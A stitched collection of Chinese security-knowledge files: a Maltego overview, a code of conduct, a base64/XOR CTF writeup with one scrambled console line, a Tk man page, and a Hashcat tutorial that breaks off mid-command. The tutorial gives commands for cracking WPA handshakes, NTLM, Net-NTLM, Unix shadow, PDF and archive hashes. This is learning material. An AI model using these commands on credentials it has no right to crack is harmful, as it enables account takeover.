--- title: Maltego categories: Information Gathering tags: [portscanning,exploitation,information gathering,webapps,kali linux,gui,maltego teeth,maltego] date: 2017-04-23 10:00:00 --- 0x00 介绍 ------- Maltego是一个独特的平台,旨在为组织拥有和运营的环境提供清晰的威胁构图。Maltego的独特优势是展示单一故障点的复杂性和严重性以及当前基础架构范围内的信任关系。 Maltego向网络和资源为基础的实体提供的独特视角是在互联网上发布的信息的聚合 - 无论是当前配置的路由器在网络边缘的位置,还是当下某副总裁在国际上的下落,Maltego可以寻找、聚合和可视化这些信息。 <!--more--> Maltego为用户提供前所未有的信息。信息是杠杆;信息是力量;信息就是Maltego。 Maltego可以做什么? Maltego是可用于确定之间的关系和真实世界之间的联系的程序: ```plain - 人 - 一群人(社交网络) - 公司 - 组织机构 - 网站 - 互联网基础设施 - 域名 - DNS名称 - Netblocks - IP地址 - 短语 - 附属机构 - 文档和文件 - 这些实体使用开源智能进行链接。 - Maltego易于安装 - 它使用Java,因此它可以在Windows,Mac和Linux上运行。 - Maltego 为您提供了一个图形界面,可让您快速,准确地查看这些关系,从而可以看到隐藏的连接。 - 使用图形用户界面(GUI),您可以轻松地看到关系 - 即使离开三到四度。 - Maltego是独一无二的,因为它使用了一个功能强大,灵活的框架,使自定义成为可能。因此,Maltego可以适应您自己的独特要求。 ``` Maltego可以为我做什么? ```plain - Maltego可用于所有安全相关工作的信息收集阶段。它将节省您的时间,并将使您更准确,更智能地工作。 - Maltego通过视觉展示搜索项目之间的互连链接,帮助您进行思索过程。 - Maltego为您提供了更强大的搜索功能,为您带来更智能的搜索结果。 - Maltego可以帮助您发现“隐藏”信息 ``` <!--more--> [主页][1] | [仓库][2] - 作者:Paterva - 证书:Commercial 0x02 教程 ------- [Maltego信息收集基础教程][3] [使用Kali Linux在渗透测试中信息收集][4] [Maltego——互联网情报聚合工具初探][5] [使用Maltego收集信息][6] [使用Maltego进行互联网情报收集(入门篇)][7] [1]: http://paterva.com/ [2]: http://git.kali.org/gitweb/?p=packages/maltego-teeth.git;a=summary [3]: http://pan.baidu.com/s/15GxR4 [4]: http://www.freebuf.com/articles/system/58096.html [5]: http://wifibeta.com/2012-03/thread-675-1-1.html [6]: https://wizardforcel.gitbooks.io/daxueba-kali-linux-tutorial/content/24.html [7]: http://www.freebuf.com/sectool/104949.html
sec-knowleage
# Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at jack19940101@gmail.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] [homepage]: http://contributor-covenant.org [version]: http://contributor-covenant.org/version/1/4/ # 贡献者公约行为准则 ## 我们的承诺 为了促进开放和欢迎的环境,我们作为贡献者和维护者保证,无论年龄,身高,残疾,种族,性别认同和表达,无论年龄,身高,残疾,性别认同和表达方式,我们都为参与我们的项目和社区提供了无害的体验,经验水平,国籍,个人表现,种族,宗教或性别认同和方向。 ## 我们的标准 有助于创造积极环境的行为举例包括: - 使用欢迎和包容性语言 - 尊重不同的观点和经验 - 正式接受建设性批评 - 关注最适合社区的 - 显示对其他社区成员的同情心 参与者不能接受的行为的例子包括: - 使用性语言或图像和不受欢迎的性关注或进步 - 拖曳,侮辱/贬损评论以及个人或政治攻击 - 公共或私人骚扰 - 未经明确许可,发布他人的私人信息,如物理或电子地址 - 在专业环境中合理地被认为不合适的其他行为 ## 我们的责任 项目维护者负责澄清可接受行为的标准,并且有望采取适当和公正的纠正行动来应对任何不可接受的行为。 项目维护者有权删除,编辑或拒绝与本行为准则不一致的评论,提交,代码,wiki编辑,问题和其他贡献,或暂时或永久禁止任何其他行为的贡献者他们认为不适当,威胁,冒犯或有害。 ## 范围 当个人代表项目或其社区时,本行为准则在项目空间和公共空间中都适用。代表项目或社区的示例包括使用官方项目电子邮件地址,通过官方社交媒体帐户发布,或在在线或离线活动中担任指定代表。一个项目的代表可以由项目维护者进一步定义和澄清。 ## 强制 通过联系项目团队jack19940101@gmail.com可能会报告滥用,骚扰或其他不可接受行为的情况。项目组将对所有投诉进行审查和调查,并以适合情况的方式作出回应。项目组有义务对事件的记者保密。具体执行政策的进一步细节可能会单独公布。 未真诚遵守或执行“行为准则”的项目维护人员可能会因项目领导层的其他成员确定而产生临时或永久性的后果。 ## 归因 本“行为准则”改编自“[贡献者公约](https://www.contributor-covenant.org/)” 1.4版,可从 http://contributor-covenant.org/version/1/4 获得
sec-knowleage
# :) Crypto, 456 points ## Description: > Look at what I found! XUBdTFdScw5XCVRGTglJXEpMSFpOQE5AVVxJBRpLT10aYBpIVwlbCVZATl1WTBpaTkBOQFVcSQdH ## Solution: This looks like base64, let's try to decode it: ```console root@kali:/media/sf_CTFs/tamu/Smiley# echo XUBdTFdScw5XCVRGTglJXEpMSFpOQE5AVVxJBRpLT10aYBpIVwlbCVZATl1WTBpaTkBOQFVcSQdH | base64 -d ]@]LWRsW TFN I\JLHZN@N@U\IKO]`HW [ V@N]VLZN@N@U\IG root@kali:/mediYBpIVwlbCVZATl1WTBpaTkBOQFVcSQdH | base64 -d | xxd -g 1OQE5AVVxJBRpLT10aY 00000000: 5d 40 5d 4c 57 52 73 0e 57 09 54 46 4e 09 49 5c ]@]LWRs.W.TFN.I\ 00000010: 4a 4c 48 5a 4e 40 4e 40 55 5c 49 05 1a 4b 4f 5d JLHZN@N@U\I..KO] 00000020: 1a 60 1a 48 57 09 5b 09 56 40 4e 5d 56 4c 1a 5a .`.HW.[.V@N]VL.Z 00000030: 4e 40 4e 40 55 5c 49 07 47 N@N@U\I.G ``` The first three letters give us a reason to be optimistic: We know that all flags start with `gigem`, and having the first and third bytes identical matches this pattern. At first I thought that this might be some kind of rotation cipher, but the diff between `g` and 0x5d is different than the diff between `i` and 0x40. The next attempt was a XOR cipher. One of the XOR properties is that if we assume that `a^b = c`, then it is also true that `a^c = b`. So if there is some secret key `k` which was used to XOR the original plaintext, and we know that `'g' ^ key = 0x5d`, then we can recover the key by performing `0x5d ^ 'g'` which is 0x3a. ```python >>> "".join(chr(ord(x) ^ 0x3a) for x in base64.b64decode("XUBdTFdScw5XCVRGTglJXEpMSFpOQE5AVVxJBRpLT10aYBpIVwlbCVZATl1WTBpaTkBOQFVcSQdH")) 'gzgvmhI4m3n|t3sfpvr`tztzofs? qug Z rm3a3lztglv `tztzofs=}' ``` That's not quite right, although we did get the the `g`'s and the `m` correct, as well as the final `}`. Maybe there are two alternating XOR keys? ```python import base64 s = "XUBdTFdScw5XCVRGTglJXEpMSFpOQE5AVVxJBRpLT10aYBpIVwlbCVZATl1WTBpaTkBOQFVcSQdH" decoded = base64.b64decode(s) xor1 = ord(decoded[0]) ^ ord('g') xor2 = ord(decoded[1]) ^ ord('i') xors = [xor1, xor2] res = "" for i in range(len(decoded)): res += chr(ord(decoded[i]) ^ xors[i % 2]) print (res) ``` Output: ``` root@kali:/media/sf_CTFs/tamu/Smiley# python solve.py gigem{I'm not superstitious, but I am a little stitious.} ```
sec-knowleage
'\" '\" Copyright (c) 1995-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: palette.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: palette.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH tk_setPalette 3tk 4.0 Tk "Tk Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME tk_setPalette, tk_bisque \- 修改 Tk 颜色调色板 .SH "总览 SYNOPSIS" \fBtk_setPalette \fIbackground\fR .sp \fBtk_setPalette \fIname value \fR?\fIname value ...\fR? .sp \fBtk_bisque\fR .BE .SH "描述 DESCRIPTION" .PP \fBtk_setPalette\fR 过程改变 Tk 的颜色方案。它通过修改现存组件的颜色和修改选项数据库来做这个工作,这样将来的组件将使用新颜色方案。如果用一个单一参数调用 \fBtk_setPalette\fR,则这个参数是用做普通背景色的一个颜色的名字;\fBtk_setPalette\fR 将从这个背景色计算出一个完整的颜色调色板。作为另一个选择,给 \fBtk_setPalette\fR 的参数可以由任意数目的名字-值对组成,对中的第一个参数是在 Tk 选项数据库中的一个选项的名字,而第二个参数是用于这个选项的新值。当前数据库支持下列名字: .DS L .ta 4c 8c \fBactiveBackground foreground selectColor activeForeground highlightBackground selectBackground background highlightColor selectForeground disabledForeground insertBackground troughColor\fR .DE \fBtk_setPalette\fR 尝试为你没有指定的所有选项计算合理的缺省。你可以指定上述之外的选项而 Tk 同样在组件上的这些选项。这个特征对使用了额外的颜色选项的定制组件可能有用。 .PP 一旦为每个颜色选项计算了新值,\fBtk_setPalette\fR 检索组件层次来修改所有现存组件的选项。对于每个组件,它检查这个组件是否定义了上述选项。如果是这样,并且如果这个选项的当前值是缺省的,则改变这个值;如果这个选项有一个不是缺省的值,\fBtk_setPalette\fR 将不改变它。如果以前未运行 \fBtk_setPalette\fR,则缺省值由组件来选项提供(\fB[lindex [$w configure $option] 3]\fR),否则它是在前面的 \fBtk_setPalette\fR 调用中指定的值。 .PP 在修改了在应用中的所有组件之后,\fBtk_setPalette\fR 向选项数据库增加选项来改变将来建立的组件的缺省值。增加的新选项在优先级 \fBwidgetDefault\fR 上,所以将被来自 .Xdefaults 文件的选项或在建立一个组件的命令行上指定的选项所屏弃。 .PP 为向后兼容而提供了 \fBtk_bisque\fR: 它把应用的颜色恢复为 Tk 3.6 和以前版本中的浅黄(“bisque”)色方案。 .SH "关键字 KEYWORDS" bisque, color, palette .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2002/05/16 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Hashcat <p align="center"> <img src="../../../assets/img/logo/Hashcat.jpg" width="20%"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **简介** Hashcat 自称是世界上最快的密码恢复工具。它在2015年之前拥有专有代码库,但现在作为免费软件发布。适用于 Linux,OS X 和 Windows 的版本可以使用基于 CPU 或基于 GPU 的变体。支持 hashcat 的散列算法有 Microsoft LM hash,MD4,MD5,SHA 系列,Unix 加密格式,MySQL 和 Cisco PIX 等。 **官网** - https://hashcat.net/hashcat/ **文章 & Reference** - [Hashcat的使用手册总结](https://xz.aliyun.com/t/4008) - [hashcat rule的使用](https://darkless.cn/2019/12/26/hashcat-rule/) - [Password Cracking in the Cloud with Hashcat and Vast.ai](https://adamsvoboda.net/password-cracking-in-the-cloud-with-hashcat-vastai/) **相关工具** - [nccgroup/hashcrack](https://github.com/nccgroup/hashcrack) - 解包一些散列类型,选择合理的选项并调用 hashcat,hashcat 辅助工具 - [brannondorsey/naive-hashcat](https://github.com/brannondorsey/naive-hashcat) - 包括各种字典,组合,基于规则的攻击和掩码(暴力)攻击。hashcat 傻瓜版? - [wavestone-cdt/wavecrack](https://github.com/wavestone-cdt/wavecrack) - web 版的 hashcat - [s3inlc/hashtopolis](https://github.com/s3inlc/hashtopolis) - 分布式 Hashcat 服务 --- ## 基本使用 **安装** ```bash mkdir /pentest && cd $_ wget https://hashcat.net/files/hashcat-6.1.1.7z 7z x hashcat-6.1.1.7z && rm -rf hashcat-6.1.1.7z cd hashcat-6.1.1 && chmod +x hashcat.bin && cp hashcat.bin hashcat ln -s /pentest/hashcat-6.1.1/hashcat /usr/sbin/hashcat ``` - 在使用 GPU 模式进行破解时,可以使用 -O 参数自动进行优化 - 所有的 hash 破解结果都在 hashcat.potfile 文件中 **常见参数** ``` -a 指定要使用的破解模式,其值参考后面对参数。“-a 0”字典攻击,“-a 1” 组合攻击;“-a 3”掩码攻击。 -m 指定要破解的hash类型,如果不指定类型,则默认是MD5 -o 指定破解成功后的hash及所对应的明文密码的存放位置,可以用它把破解成功的hash写到指定的文件中 --force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项 --show 显示已经破解的hash及该hash所对应的明文 --increment 启用增量破解模式,你可以利用此模式让hashcat在指定的密码长度范围内执行破解过程 --increment-min 密码最小长度,后面直接等于一个整数即可,配置increment模式一起使用 --increment-max 密码最大长度,同上 --outfile-format 指定破解结果的输出格式id,默认是3 --username 忽略hash文件中的指定的用户名,在破解linux系统用户密码hash可能会用到 --remove 删除已被破解成功的hash -r 使用自定义破解规则 ``` **攻击模式** ``` # | Mode ===+====== 0 | Straight(字段破解) 1 | Combination(组合破解) 3 | Brute-force(掩码暴力破解) 6 | Hybrid Wordlist + Mask(字典+掩码破解) 7 | Hybrid Mask + Wordlist(掩码+字典破解) ``` **输出格式** ``` 1 = hash[:salt] 2 = plain 3 = hash[:salt]:plain 4 = hex_plain 5 = hash[:salt]:hex_plain 6 = plain:hex_plain 7 = hash[:salt]:plain:hex_plain 8 = crackpos 9 = hash[:salt]:crackpos 10 = plain:crackpos 11 = hash[:salt]:plain:crackpos 12 = hex_plain:crackpos 13 = hash[:salt]:hex_plain:crackpos 14 = plain:hex_plain:crackpos 15 = hash[:salt]:plain:hex_plain:crackpos ``` **常见 Hash id 对照表** - https://hashcat.net/wiki/doku.php?id=example_hashes ```bash hashcat --help - [ Hash modes ] - # | Name | Category ======+==================================================+====================================== 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash 1300 | SHA2-224 | Raw Hash 1400 | SHA2-256 | Raw Hash 10800 | SHA2-384 | Raw Hash 1700 | SHA2-512 | Raw Hash 17300 | SHA3-224 | Raw Hash 17400 | SHA3-256 | Raw Hash 17500 | SHA3-384 | Raw Hash 17600 | SHA3-512 | Raw Hash 17700 | Keccak-224 | Raw Hash 17800 | Keccak-256 | Raw Hash 17900 | Keccak-384 | Raw Hash 18000 | Keccak-512 | Raw Hash 600 | BLAKE2b-512 | Raw Hash 10100 | SipHash | Raw Hash 6000 | RIPEMD-160 | Raw Hash 6100 | Whirlpool | Raw Hash 6900 | GOST R 34.11-94 | Raw Hash 11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian | Raw Hash 11800 | GOST R 34.11-2012 (Streebog) 512-bit, big-endian | Raw Hash 10 | md5($pass.$salt) | Raw Hash, Salted and/or Iterated 20 | md5($salt.$pass) | Raw Hash, Salted and/or Iterated 30 | md5(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated 40 | md5($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated 3800 | md5($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated 3710 | md5($salt.md5($pass)) | Raw Hash, Salted and/or Iterated 4010 | md5($salt.md5($salt.$pass)) | Raw Hash, Salted and/or Iterated 4110 | md5($salt.md5($pass.$salt)) | Raw Hash, Salted and/or Iterated 2600 | md5(md5($pass)) | Raw Hash, Salted and/or Iterated 3910 | md5(md5($pass).md5($salt)) | Raw Hash, Salted and/or Iterated 4300 | md5(strtoupper(md5($pass))) | Raw Hash, Salted and/or Iterated 4400 | md5(sha1($pass)) | Raw Hash, Salted and/or Iterated 110 | sha1($pass.$salt) | Raw Hash, Salted and/or Iterated 120 | sha1($salt.$pass) | Raw Hash, Salted and/or Iterated 130 | sha1(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated 以下略 ``` ## 掩码设置 **常见的掩码字符集** ``` l | abcdefghijklmnopqrstuvwxyz 纯小写字母 u | ABCDEFGHIJKLMNOPQRSTUVWXYZ 纯大写字母 d | 0123456789 纯数字 h | 0123456789abcdef 常见小写子目录和数字 H | 0123456789ABCDEF 常见大写字母和数字 s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ 特殊字符 a | ?l?u?d?s 键盘上所有可见的字符 b | 0x00 - 0xff 可能是用来匹配像空格这种密码的 ``` **掩码案例** ``` 八位数字密码:?d?d?d?d?d?d?d?d 八位未知密码:?a?a?a?a?a?a?a?a 前四位为大写字母,后面四位为数字:?u?u?u?u?d?d?d?d 前四位为数字或者是小写字母,后四位为大写字母或者数字:?h?h?h?h?H?H?H?H 前三个字符未知,中间为admin,后三位未知:?a?a?aadmin?a?a?a 6-8位数字密码:--increment --increment-min 6 --increment-max 8 ?l?l?l?l?l?l?l?l 6-8位数字+小写字母密码:--increment --increment-min 6 --increment-max 8 ?h?h?h?h?h?h?h?h ``` 如果我们想设置字符集为:abcd123456!@-+,就需要用到自定义字符集,hashcat支持用户最多定义4组字符集 ``` --custom-charset1 [chars]等价于 -1 --custom-charset2 [chars]等价于 -2 --custom-charset3 [chars]等价于 -3 --custom-charset4 [chars]等价于 -4 在掩码中用?1、?2、?3、?4来表示。 --custom-charset1 abcd123456!@-+。 然后就可以用"?1"去表示这个字符集了 --custom-charset2 ?l?d 这里和?2就等价于?h -1 ?d?l?u ?1就表示数字+小写字母+大写字母 -3 abcdef -4 123456 那么?3?3?3?3?4?4?4?4就表示为前四位可能是“abcdef”,后四位可能是“123456” ``` --- ## 例子 ### 性能测试 ```bash hashcat -b --force ``` ### 查看爆破案例 ```bash hashcat --example-hashes | less ``` --- ### 爆破drupal7的密码hash ```bash echo "\$S\$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" > source.txt echo "\$S\$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg" >> source.txt hashcat -m 7900 -a 0 source.txt pass01.txt -m 指定要破解的 hash 类型,如果不指定类型,则默认是 MD5 -a 指定要使用的破解模式,其值参考后面对参数。“-a 0”字典攻击,“-a 1” 组合攻击;“-a 3”掩码攻击。 source.txt 你要爆破的 hash 列表 pass01.txt 你的密码表 ``` --- ### 爆破wifi握手包 ```bash hashcat -m 2500 wireless.hccapx pass.txt --force MODE: 2500 TYPE: WPA/WPA2 PMK ``` --- ### 爆破NTLM-hash ```bash hashcat -m 1000 hash.txt pass1.txt MODE: 1000 TYPE: NTLM b4b9b02e6f09a9bd760f388b67351e2b ``` --- ### Domain Cached Credentials 2 (DCC2), MS Cache 2 应用于 mscash ```bash MODE: 2100 TYPE: Domain Cached Credentials 2 (DCC2), MS Cache 2 $DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f ``` ### 爆破net-NTLMv1 ```bash hashcat -m 5500 hash.txt pass1.txt MODE: 5500 TYPE: NetNTLMv1 / NetNTLMv1+ESS u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c ``` ### 爆破net-NTLMv2 ```bash hashcat -m 5600 hash.txt pass1.txt MODE: 5600 TYPE: NetNTLMv2 admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 ``` --- ### 爆破pdf文件 获取文件 hash ```bash cd /usr/share/john/ ./pdf2john.pl xxx.pdf ``` 接下来就是一个一个的试,看是哪种加密算法,比如 word 自带的加密用的就是 10500 ```bash hashcat.exe -m 10400 hash.txt pass1.txt hashcat.exe -m 10410 hash.txt pass1.txt hashcat.exe -m 10420 hash.txt pass1.txt hashcat.exe -m 10500 hash.txt pass1.txt hashcat.exe -m 10600 hash.txt pass1.txt hashcat.exe -m 10700 hash.txt pass1.txt MODE: 10400 TYPE: PDF 1.1 - 1.3 (Acrobat 2 - 4) $pdf$1*2*40*-1*0*16*51726437280452826511473255744374*32*9b09be05c226214fa1178342673d86f273602b95104f2384b6c9b709b2cbc058*32*0000000000000000000000000000000000000000000000000000000000000000 MODE: 10410 TYPE: PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 $pdf$1*2*40*-1*0*16*01221086741440841668371056103222*32*27c3fecef6d46a78eb61b8b4dbc690f5f8a2912bbb9afc842c12d79481568b74*32*0000000000000000000000000000000000000000000000000000000000000000 MODE: 10420 TYPE: PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 $pdf$1*2*40*-1*0*16*01221086741440841668371056103222*32*27c3fecef6d46a78eb61b8b4dbc690f5f8a2912bbb9afc842c12d79481568b74*32*0000000000000000000000000000000000000000000000000000000000000000:6a8aedccb7 MODE: 10500 TYPE: PDF 1.4 - 1.6 (Acrobat 5 - 8) $pdf$2*3*128*-1028*1*16*da42ee15d4b3e08fe5b9ecea0e02ad0f*32*c9b59d72c7c670c42eeb4fca1d2ca15000000000000000000000000000000000*32*c4ff3e868dc87604626c2b8c259297a14d58c6309c70b00afdfb1fbba10ee571 MODE: 10600 TYPE: PDF 1.7 Level 3 (Acrobat 9) $pdf$5*5*256*-1028*1*16*20583814402184226866485332754315*127*f95d927a94829db8e2fbfbc9726ebe0a391b22a084ccc2882eb107a74f7884812058381440218422686648533275431500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*127*00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*32*0000000000000000000000000000000000000000000000000000000000000000*32*0000000000000000000000000000000000000000000000000000000000000000 MODE: 10700 TYPE: PDF 1.7 Level 8 (Acrobat 10 - 11) $pdf$5*6*256*-1028*1*16*21240790753544575679622633641532*127*2d1ecff66ea354d3d34325a6503da57e03c199c21b13dd842f8d515826054d8d2124079075354457567962263364153200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*127*00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000*32*0000000000000000000000000000000000000000000000000000000000000000*32*0000000000000000000000000000000000000000000000000000000000000000 ``` --- ### 爆破shadow文件 hash.txt 只保留加密的密码字段 : `$id$salt$encrypted` > 注: 实际测试时无需删减,直接复制 shadow 内容即可 ```bash hashcat -m 500 hash.txt pass1.txt hashcat -m 1500 hash.txt pass1.txt hashcat -m 1800 hash.txt pass1.txt MODE: 500 TYPE: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) 2 $1$28772684$iEwNOgGugqO9.bIz5sk8k/ MODE: 1500 TYPE: descrypt, DES (Unix), Traditional DES 48c/R8JAv757A MODE: 1800 TYPE: sha512crypt $6$, SHA512 (Unix) $6$52450745$k5ka2p8bFuSmoVT1tzOyyuaREkkKBcCNqoDKzYiJL9RaE8yMnPgh2XzzF0NDrUhgrcLwg78xs1w5pJiypEdFX/ ``` --- ### 爆破压缩包 > 注意: AMD 显卡不支持该项爆破 用 zip2john 获取文件的 hash 值 ```bash zip2john.exe 1.zip > hash.txt rar2john.exe 1.rar > hash.txt apt install -y libcompress-raw-lzma-perl -y wget https://raw.githubusercontent.com/philsmd/7z2hashcat/master/7z2hashcat.pl perl 7z2hashcat.pl file.7z > hash.txt 